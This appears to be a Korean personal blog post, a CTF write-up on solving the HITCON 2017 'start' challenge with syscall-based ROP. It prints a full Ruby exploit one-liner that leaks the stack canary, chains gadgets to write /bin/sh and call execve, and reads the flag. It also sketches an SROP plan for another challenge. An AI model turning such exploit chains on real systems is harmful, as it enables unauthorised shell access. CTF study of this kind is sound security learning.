Profile

머리정리하는곳

c2w2m2

syscall 을 이용한 rop

syscall 을 사용하여 rop 해볼 기회가 생겨서 한번 써봅니당.


문제는 이번 HITCON 2017 start 문제입니다.


이 문제같은경우에는 ruby 로 익스를 짜야했고,


덤으로 read 로 bss 에 /bin/sh 를 쓰는것은 간단했지만 execve 같은게 없어서 쉘을 띄우는데에는 고생했던 문제입니다.


저같은경우에는 syscall 을 이용하여 read 로 먼저 /bin/sh 를 쓰고 execve 를 콜해 풀었습니다.


z = Sock.new '127.0.0.1', 31338 ; context.log_level = :debug ; z.send ''.rjust(25,'a'); z.recvuntil ''.rjust(24,'a');cana = u64(z.recv 8)-0x61; puts "0x%x" % cana; z.recv 4; pay = ''.rjust(24,'a') + p64(cana) + ''.rjust(8,'a') + p64(0x00000000004005d5) + p64(0) +p64(0x00000000004017f7) + p64(0x6cdb68) +  p64(0x0000000000443776) + p64(8) + p64(0x0000000000440300);pay += p64(0x4005d5) + p64(0x6cdb68) + p64(0x4017f7) + p64(0x6cdb68+7) + p64(0x0047a6e6) + p64(0x3b) + p64(0x6cdb68+7) + p64(0) + p64(0x0046cab5); z.send pay; z.send "exit\n"; z.send "/bin/sh\x00"; z.send "ls\n"; z.recv 2048;puts z.recv 2048;z.send "cat ./home/start/flag\n"; puts z.recv 2048;z.recv 2048;z.recv 2048


페이....로드.........




덤으로 지금 ubuntu ctf 에 small 삽질중에 있는데


이것도 syscall 을 통해 익스를 해야하는것 같은데 배로 어렵슴니다 ㅠㅠ..


이건 eax 조절이 안되는 상태로 bss 에 /bin/sh 를 쓰고나서 해야하는데


함수도 read 밖에 없고 이것도 심지어 asm 으로 구현한 read 라서 더 고생했습니다.


이거같은 경우는



이런 페이로드로 공격하려 함니다.


먼저 ebp를 bss 로 옮기고 ret 를 main 시작부분으로 돌려서 한번쓰고 다시 overflow 시켜서 


ebp 를 read 시작으로 옮기고 인자세팅을 하고 srop 를 돌리는 건데


과연 가능할까....

'Analysis' 카테고리의 다른 글

Arm 아키텍쳐  (0) 2018.01.06
HTTP 프로토콜 구조  (0) 2017.12.11
Pwntools 기본적인 사용법 - 3  (1) 2017.10.20
Full Relro 우회법  (0) 2017.10.15
Pwntools 기본적인 사용법 - 2  (0) 2017.10.11